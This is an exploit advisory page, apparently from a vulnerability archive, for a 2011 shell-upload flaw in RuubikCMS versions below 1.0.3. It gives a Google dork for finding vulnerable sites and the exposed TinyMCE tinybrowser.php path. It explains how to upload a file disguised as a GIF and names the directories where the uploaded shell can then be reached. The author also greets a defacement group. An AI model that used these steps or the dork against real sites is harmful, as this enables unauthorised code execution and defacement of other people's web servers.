RuubikCMS Shell Upload

2011-03-07 / 2011-03-08

Credit: Alexander

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: Powered by RuubikCMS

###########################################################################
 
Exploit Title : RuubikCMS < v1.0.3  Shell Upload Vulnerability
 
Google Dork : Powered by RuubikCMS
 
Date : 2011-03-06
 
Author : Alexander
 
Software Link : http://www.ruubikcms.com
 
Version : < v1.0.3
 
Test On : Linux/php
 
CVE : Web Applications
 
###########################################################################
 
===[ Exploit ]=== 
 
http://server/[patch] /tiny_mce/plugins/tinybrowser/tinybrowser.php
 
Select the Upload And Then Browse File.gif
 
===[ Upload To ]===
 
http://server/[patch]/useruploads/images/File.gif
 
OR
 
http://server/[patch] /upload/image/File.gif
 
===[ Demo ]===
 
http://server/ruubikcms/tiny_mce/plugins/tinybrowser/tinybrowser.php
 
###########################################################################
 
Greetz : http://Ashiyane.org/Forums
 
Behrooz_Ice , Q7X , Virangar , Black And All Ashiyane Defacers

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

RuubikCMS Shell Upload

Dork: Powered by RuubikCMS

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.